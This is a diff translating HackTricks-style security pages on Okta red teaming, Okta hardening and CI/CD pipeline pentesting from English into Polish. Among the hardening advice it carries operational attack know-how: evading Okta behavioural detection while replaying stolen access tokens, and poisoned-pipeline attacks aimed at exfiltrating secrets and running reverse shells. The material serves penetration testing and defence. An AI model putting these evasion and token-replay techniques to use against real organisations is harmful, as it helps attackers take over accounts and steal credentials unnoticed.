+Najlepszym sposobem, aby dowiedzieć się, czy możesz się podszyć pod kogokolwiek w każdej aplikacji, byłoby spróbować!
-## Evading behavioural detection policies
+## Unikanie polityk wykrywania behawioralnego
-Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
+Polityki wykrywania behawioralnego w Okta mogą być nieznane do momentu ich napotkania, ale **omijanie** ich można osiągnąć poprzez **bezpośrednie celowanie w aplikacje Okta**, unikając głównego pulpitu nawigacyjnego Okta. Z **tokenem dostępu Okta** powtórz token na **specyficznym URL aplikacji Okta** zamiast na głównej stronie logowania.
-Key recommendations include:
+Kluczowe zalecenia obejmują:
-- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
-- Ensure **consistent user-agent strings** between the client and replayed access tokens.
-- **Refrain from replaying** tokens from different users from the same IP address.
-- Exercise caution when replaying tokens against the Okta dashboard.
-- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
+- **Unikaj używania** popularnych proxy anonimowych i usług VPN podczas powtarzania przechwyconych tokenów dostępu.
+- Upewnij się, że **ciąg user-agent** jest spójny między klientem a powtórzonymi tokenami dostępu.
+- **Powstrzymaj się od powtarzania** tokenów od różnych użytkowników z tego samego adresu IP.
+- Zachowaj ostrożność podczas powtarzania tokenów przeciwko pulpitowi nawigacyjnemu Okta.
+- Jeśli znasz adresy IP firmy ofiary, **ogranicz ruch** do tych adresów IP lub ich zakresu, blokując cały inny ruch.
-## Okta Hardening
+## Wzmacnianie Okta
-Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
+Okta ma wiele możliwych konfiguracji, na tej stronie znajdziesz, jak je przeglądać, aby były jak najbezpieczniejsze:
{{#ref}}
okta-hardening.md
{{#endref}}
-## References
+## Odniesienia
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index a7dac96a7..b6de16162 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,72 +6,72 @@
### People
-From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
+Z perspektywy atakującego, to jest bardzo interesujące, ponieważ będziesz mógł zobaczyć **wszystkich zarejestrowanych użytkowników**, ich **adresy e-mail**, **grupy**, do których należą, **profile** i nawet **urządzenia** (telefony wraz z ich systemami operacyjnymi).
-For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
+Dla przeglądu whitebox sprawdź, czy nie ma kilku "**Oczekujących działań użytkownika**" i "**Resetowania hasła**".
### Groups
-This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
-It's possible to see the **people included inside groups** and **apps assigned** to each group.
+Tutaj znajdziesz wszystkie utworzone grupy w Okta. Interesujące jest zrozumienie różnych grup (zestaw **uprawnień**), które mogą być przyznane **użytkownikom**.\
+Można zobaczyć **osoby w grupach** oraz **aplikacje przypisane** do każdej grupy.
-Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
+Oczywiście, każda grupa o nazwie **admin** jest interesująca, szczególnie grupa **Global Administrators**, sprawdź członków, aby dowiedzieć się, kto jest najbardziej uprzywilejowany.
-From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
+Z perspektywy przeglądu whitebox, **nie powinno być więcej niż 5 globalnych administratorów** (lepiej, jeśli jest tylko 2 lub 3).
### Devices
-Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
+Znajdź tutaj **listę wszystkich urządzeń** wszystkich użytkowników. Możesz również zobaczyć, czy jest **aktywnie zarządzane**, czy nie.
### Profile Editor
-Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
+Tutaj można zaobserwować, jak kluczowe informacje, takie jak imiona, nazwiska, e-maile, nazwy użytkowników... są udostępniane między Okta a innymi aplikacjami. To jest interesujące, ponieważ jeśli użytkownik może **zmodyfikować w Okta pole** (takie jak jego imię lub e-mail), które następnie jest używane przez **zewnętrzną aplikację** do **identyfikacji** użytkownika, insider mógłby spróbować **przejąć inne konta**.
-Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
+Ponadto, w profilu **`User (default)`** z Okta możesz zobaczyć **które pola** ma każdy **użytkownik** i które z nich są **edytowalne** przez użytkowników. Jeśli nie możesz zobaczyć panelu administracyjnego, po prostu przejdź do **aktualizacji informacji o swoim profilu** i zobaczysz, które pola możesz zaktualizować (zauważ, że aby zaktualizować adres e-mail, musisz go zweryfikować).
### Directory Integrations
-Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
+Katalogi pozwalają na importowanie osób z istniejących źródeł. Przypuszczam, że tutaj zobaczysz użytkowników importowanych z innych katalogów.
-I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
+Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprumujesz ten katalog**, mógłbyś ustawić niektóre wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**.
### Profile Sources
-A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
+Źródło profilu to **aplikacja, która działa jako źródło prawdy** dla atrybutów profilu użytkownika. Użytkownik może być źródłowany tylko przez jedną aplikację lub katalog w danym czasie.
-I haven't seen it, so any information about security and hacking regarding this option is appreciated.
+Nie widziałem tego, więc wszelkie informacje o bezpieczeństwie i hackingu dotyczące tej opcji są mile widziane.
## Customizations
### Brands
-Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
+Sprawdź w zakładce **Domains** tej sekcji adresy e-mail używane do wysyłania e-maili oraz niestandardową domenę w Okta firmy (którą prawdopodobnie już znasz).
-Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
+Ponadto, w zakładce **Setting**, jeśli jesteś administratorem, możesz "**Użyć niestandardowej strony wylogowania**" i ustawić niestandardowy adres URL.
### SMS
-Nothing interesting here.
+Nic interesującego tutaj.
### End-User Dashboard
-You can find here applications configured, but we will see the details of those later in a different section.
+Możesz tutaj znaleźć skonfigurowane aplikacje, ale szczegóły tych aplikacji zobaczymy później w innej sekcji.
### Other
-Interesting setting, but nothing super interesting from a security point of view.
+Interesujące ustawienie, ale nic super interesującego z punktu widzenia bezpieczeństwa.
## Applications
### Applications
-Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
+Tutaj możesz znaleźć wszystkie **skonfigurowane aplikacje** i ich szczegóły: Kto ma do nich dostęp, jak jest skonfigurowane (SAML, OpenID), URL do logowania, mapowania między Okta a aplikacją...
-In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
+W zakładce **`Sign On`** znajduje się również pole o nazwie **`Password reveal`**, które pozwala użytkownikowi **ujawnić swoje hasło** podczas sprawdzania ustawień aplikacji. Aby sprawdzić ustawienia aplikacji z panelu użytkownika, kliknij 3 kropki:
-And you could see some more details about the app (like the password reveal feature, if it's enabled):
+I możesz zobaczyć więcej szczegółów o aplikacji (jak funkcja ujawniania hasła, jeśli jest włączona):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
### Access Certifications
-Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
+Użyj Access Certifications, aby tworzyć kampanie audytowe w celu okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub odbierania dostępu, gdy jest to wymagane.
-I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
+Nie widziałem tego używanego, ale przypuszczam, że z defensywnego punktu widzenia to ładna funkcja.
## Security
### General
-- **Security notification emails**: All should be enabled.
-- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
-- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
-- **User enumeration prevention**: Both should be enabled
- - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- - Self-Service Registration
- - JIT flows with email authentication
-- **Okta ThreatInsight settings**: Log and enforce security based on threat level
+- **E-maile powiadamiające o bezpieczeństwie**: Wszystkie powinny być włączone.
+- **Integracja CAPTCHA**: Zaleca się ustawienie przynajmniej niewidocznego reCaptcha.
+- **Bezpieczeństwo organizacji**: Wszystko można włączyć, a e-maile aktywacyjne nie powinny trwać długo (7 dni jest w porządku).
+- **Zapobieganie enumeracji użytkowników**: Oba powinny być włączone.
+- Zauważ, że zapobieganie enumeracji użytkowników nie ma zastosowania, jeśli którakolwiek z poniższych warunków jest dozwolona (zobacz [Zarządzanie użytkownikami](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) po więcej informacji):
+- Rejestracja samoobsługowa
+- Przepływy JIT z uwierzytelnianiem e-mailowym
+- **Ustawienia Okta ThreatInsight**: Rejestruj i egzekwuj bezpieczeństwo w oparciu o poziom zagrożenia.
### HealthInsight
-Here is possible to find correctly and **dangerous** configured **settings**.
+Tutaj można znaleźć poprawnie i **niebezpiecznie** skonfigurowane **ustawienia**.
### Authenticators
-Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
+Tutaj możesz znaleźć wszystkie metody uwierzytelniania, które użytkownik mógłby użyć: Hasło, telefon, e-mail, kod, WebAuthn... Klikając w uwierzytelnianie hasłem, możesz zobaczyć **politykę haseł**. Sprawdź, czy jest silna.
-In the **Enrollment** tab you can see how the ones that are required or optinal:
+W zakładce **Enrollment** możesz zobaczyć, które z nich są wymagane lub opcjonalne:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
+Zaleca się wyłączenie telefonu. Najsilniejsze są prawdopodobnie kombinacje hasła, e-maila i WebAuthn.
### Authentication policies
-Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
+Każda aplikacja ma politykę uwierzytelniania. Polityka uwierzytelniania weryfikuje, że użytkownicy, którzy próbują zalogować się do aplikacji, spełniają określone warunki, i egzekwuje wymagania dotyczące czynników w oparciu o te warunki.
-Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
+Tutaj możesz znaleźć **wymagania dostępu do każdej aplikacji**. Zaleca się żądanie przynajmniej hasła i innej metody dla każdej aplikacji. Ale jeśli jako atakujący znajdziesz coś słabszego, możesz być w stanie to zaatakować.
### Global Session Policy
-Here you can find the session policies assigned to different groups. For example:
+Tutaj możesz znaleźć polityki sesji przypisane do różnych grup. Na przykład:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
+Zaleca się żądanie MFA, ograniczenie czasu trwania sesji do kilku godzin, nie utrzymywanie ciasteczek sesji w rozszerzeniach przeglądarki oraz ograniczenie lokalizacji i dostawcy tożsamości (jeśli to możliwe). Na przykład, jeśli każdy użytkownik powinien logować się z konkretnego kraju, możesz zezwolić tylko na tę lokalizację.
### Identity Providers
-Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
+Dostawcy tożsamości (IdP) to usługi, które **zarządzają kontami użytkowników**. Dodanie IdP w Okta umożliwia Twoim użytkownikom końcowym **samo-rejestrację** w Twoich niestandardowych aplikacjach, najpierw uwierzytelniając się za pomocą konta społecznościowego lub karty inteligentnej.
-On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
+Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP), dodając SAML przychodzący. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa.
-**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
+**Jeśli jakikolwiek dostawca tożsamości jest skonfigurowany**, z perspektywy atakującego i obrońcy sprawdź tę konfigurację i **czy źródło jest naprawdę godne zaufania**, ponieważ atakujący, który je skompromituje, mógłby również uzyskać dostęp do środowiska Okta.
### Delegated Authentication
-Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
+Uwierzytelnianie delegowane pozwala użytkownikom logować się do Okta, wprowadzając dane uwierzytelniające dla serwera **Active Directory (AD) lub LDAP** swojej organizacji.
-Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
+Ponownie, sprawdź to, ponieważ atakujący, który skompromituje AD organizacji, mógłby być w stanie przejść do Okta dzięki temu ustawieniu.
### Network
-A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
+Strefa sieciowa to konfigurowalna granica, którą możesz wykorzystać do **przyznawania lub ograniczania dostępu do komputerów i urządzeń** w swojej organizacji w oparciu o **adres IP**, który żąda dostępu. Możesz zdefiniować strefę sieciową, określając jeden lub więcej indywidualnych adresów IP, zakresy adresów IP lub lokalizacje geograficzne.
-After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
+Po zdefiniowaniu jednej lub więcej stref sieciowych możesz **użyć ich w globalnych politykach sesji**, **politykach uwierzytelniania**, powiadomieniach VPN i **zasadach routingu**.
-From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
+Z perspektywy atakującego interesujące jest wiedzieć, które adresy IP są dozwolone (i sprawdzić, czy jakieś **adresy IP są bardziej uprzywilejowane** niż inne). Z perspektywy atakującego, jeśli użytkownicy powinni uzyskiwać dostęp z konkretnego adresu IP lub regionu, sprawdź, czy ta funkcja jest używana prawidłowo.
### Device Integrations
-- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- - I haven't seen this used yet. TODO
-- **Notification services**: I haven't seen this used yet. TODO
+- **Zarządzanie punktami końcowymi**: Zarządzanie punktami końcowymi to warunek, który można zastosować w polityce uwierzytelniania, aby zapewnić, że zarządzane urządzenia mają dostęp do aplikacji.
+- Nie widziałem tego jeszcze używanego. TODO
+- **Usługi powiadomień**: Nie widziałem tego jeszcze używanego. TODO
### API
-You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
+Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, czas **wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**.
-The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
+**Zaufane źródła** przyznają dostęp do witryn, które kontrolujesz i którym ufasz, aby uzyskać dostęp do swojej organizacji Okta przez API Okta.
-There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
+Nie powinno być zbyt wielu tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać.
## Workflow
### Automations
-Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
+Automatyzacje pozwalają na tworzenie automatycznych działań, które są uruchamiane na podstawie zestawu warunków wyzwalających, które występują w trakcie cyklu życia użytkowników końcowych.
-For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
+Na przykład warunkiem może być "Nieaktywność użytkownika w Okta" lub "Wygasanie hasła użytkownika w Okta", a działaniem może być "Wyślij e-mail do użytkownika" lub "Zmień stan cyklu życia użytkownika w Okta".
## Reports
### Reports
-Download logs. They are **sent** to the **email address** of the current account.
+Pobierz logi. Są **wysyłane** na **adres e-mail** bieżącego konta.
### System Log
-Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
+Tutaj możesz znaleźć **logi działań wykonywanych przez użytkowników** z wieloma szczegółami, takimi jak logowanie do Okta lub aplikacji przez Okta.
### Import Monitoring
-This can **import logs from the other platforms** accessed with Okta.
+To może **importować logi z innych platform** uzyskanych za pomocą Okta.
### Rate limits
-Check the API rate limits reached.
+Sprawdź osiągnięte limity szybkości API.
## Settings
### Account
-Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
+Tutaj możesz znaleźć **ogólne informacje** o środowisku Okta, takie jak nazwa firmy, adres, **kontakt e-mail do rozliczeń**, **kontakt e-mail do spraw technicznych** oraz kto powinien otrzymywać aktualizacje Okta i jakie rodzaje aktualizacji Okta.
### Downloads
-Here you can download Okta agents to sync Okta with other technologies.
+Tutaj możesz pobrać agentów Okta, aby zsynchronizować Okta z innymi technologiami.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 41899af04..98629fef8 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -6,103 +6,99 @@
## VCS
-VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
+VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom na **zarządzanie swoim kodem źródłowym**. Najczęściej używanym jest **git** i zazwyczaj znajdziesz firmy korzystające z niego na jednej z następujących **platform**:
- Github
- Gitlab
- Bitbucket
- Gitea
-- Cloud providers (they offer their own VCS platforms)
+- Dostawcy chmury (oferują własne platformy VCS)
## CI/CD Pipelines
-CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
+Pipelines CI/CD umożliwiają deweloperom **automatyzację wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane przepływy pracy są **wyzwalane przez konkretne akcje**, takie jak push kodu, pull requesty lub zaplanowane zadania. Są przydatne do usprawnienia procesu od rozwoju do produkcji.
-However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
+Jednak te systemy muszą być **wykonywane gdzieś** i zazwyczaj z **uprzywilejowanymi poświadczeniami do wdrażania kodu lub uzyskiwania dostępu do wrażliwych informacji**.
## VCS Pentesting Methodology
> [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> Nawet jeśli niektóre platformy VCS pozwalają na tworzenie pipelines, w tej sekcji będziemy analizować tylko potencjalne ataki na kontrolę kodu źródłowego.
-Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
+Platformy, które zawierają kod źródłowy twojego projektu, zawierają wrażliwe informacje i ludzie muszą być bardzo ostrożni z uprawnieniami przyznawanymi w tej platformie. Oto niektóre powszechne problemy w platformach VCS, które mogą być wykorzystywane przez atakujących:
-- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- - **Register**: Some platforms will just allow external users to create an account.
- - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
-- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- - If no secret is in place, the attacker could abuse the webhook of the third party platform
- - If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- - Compromise the main branch to **compromise production**.
- - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- - **Compromise the pipeline** (check next section)
+- **Wycieki**: Jeśli twój kod zawiera wycieki w commitach i atakujący ma dostęp do repozytorium (ponieważ jest publiczne lub ma dostęp), może odkryć te wycieki.
+- **Dostęp**: Jeśli atakujący może **uzyskać dostęp do konta w platformie VCS**, może zyskać **więcej widoczności i uprawnień**.
+- **Rejestracja**: Niektóre platformy pozwalają tylko zewnętrznym użytkownikom na tworzenie konta.
+- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby wejść na przykład).
+- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje kilka rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium w jakiś sposób.
+- **Webhooks**: Platformy VCS pozwalają na generowanie webhooków. Jeśli nie są **chronione** niewidocznymi sekretami, **atakujący może je wykorzystać**.
+- Jeśli nie ma sekretu, atakujący może wykorzystać webhook z platformy trzeciej.
+- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma sekret.
+- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiś rodzaj **dostępu do zapisu** w repozytoriach, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli:
+- Kompromitacja głównej gałęzi w celu **kompromitacji produkcji**.
+- Kompromitacja głównej (lub innych gałęzi) w celu **kompromitacji maszyn deweloperów** (ponieważ zazwyczaj wykonują testy, terraform lub inne rzeczy w repozytorium na swoich maszynach).
+- **Kompromitacja pipeline** (sprawdź następną sekcję)
## Pipelines Pentesting Methodology
-The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
-These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
+Najczęstszym sposobem definiowania pipeline jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych zadań, warunki wpływające na przepływ i ustawienia środowiska budowania.\
+Te pliki zazwyczaj mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się w .github/workflows. Po wyzwoleniu, zadanie pipeline **pobiera kod** z wybranego źródła (np. commit / gałąź) i **wykonuje polecenia określone w pliku konfiguracyjnym CI** na tym kodzie.
-Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
+Dlatego ostatecznym celem atakującego jest w jakiś sposób **kompromitacja tych plików konfiguracyjnych** lub **poleceń, które wykonują**.
-### PPE - Poisoned Pipeline Execution
+### PPE - Wykonanie Zatrutego Pipeline
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+Ścieżka Wykonania Zatrutego Pipeline (PPE) wykorzystuje uprawnienia w repozytorium SCM do manipulacji pipeline CI i wykonywania szkodliwych poleceń. Użytkownicy z niezbędnymi uprawnieniami mogą modyfikować pliki konfiguracyjne CI lub inne pliki używane przez zadanie pipeline, aby dodać złośliwe polecenia. To "zatruwa" pipeline CI, prowadząc do wykonania tych złośliwych poleceń.
-For a malicious actor to be successful performing a PPE attack he needs to be able to:
+Aby złośliwy aktor odniósł sukces w przeprowadzeniu ataku PPE, musi być w stanie:
-- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- - Note that sometimes an **external PR count as "write access"**.
-- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- - For this, he might need to be able to **bypass branch protections**.
+- Mieć **dostęp do zapisu w platformie VCS**, ponieważ zazwyczaj pipeline są wyzwalane, gdy wykonany jest push lub pull request. (Sprawdź metodologię pentestingu VCS, aby uzyskać podsumowanie sposobów uzyskania dostępu).
+- Zauważ, że czasami **zewnętrzny PR liczy się jako "dostęp do zapisu"**.
+- Nawet jeśli ma uprawnienia do zapisu, musi być pewny, że może **zmodyfikować plik konfiguracyjny CI lub inne pliki, na których opiera się konfiguracja**.
+- W tym celu może potrzebować być w stanie **obejść zabezpieczenia gałęzi**.
-There are 3 PPE flavours:
+Istnieją 3 smaki PPE:
-- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
+- **D-PPE**: Atak **Bezpośredni PPE** występuje, gdy aktor **modyfikuje plik konfiguracyjny CI**, który ma być wykonany.
+- **I-DDE**: Atak **Pośredni PPE** występuje, gdy aktor **modyfikuje** **plik**, na którym opiera się plik konfiguracyjny CI, który ma być wykonany (jak plik make lub konfiguracja terraform).
+- **Public PPE lub 3PE**: W niektórych przypadkach pipeline mogą być **wyzwalane przez użytkowników, którzy nie mają dostępu do zapisu w repozytorium** (i którzy mogą nawet nie być częścią organizacji), ponieważ mogą wysłać PR.
+- **3PE Wstrzykiwanie Poleceń**: Zazwyczaj pipeline CI/CD **ustawią zmienne środowiskowe** z **informacjami o PR**. Jeśli ta wartość może być kontrolowana przez atakującego (jak tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (jak wykonywanie **poleceń sh**), atakujący może **wstrzyknąć polecenia tam**.
-### Exploitation Benefits
+### Korzyści z Eksploatacji
-Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
+Znając 3 smaki, aby zatruć pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji:
-- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
-- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
-- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
+- **Sekrety**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** do swoich zadań (pobieranie kodu, budowanie go, wdrażanie...) i te uprawnienia są zazwyczaj **przyznawane w sekretach**. Te sekrety są zazwyczaj dostępne za pośrednictwem **zmiennych env lub plików w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów.
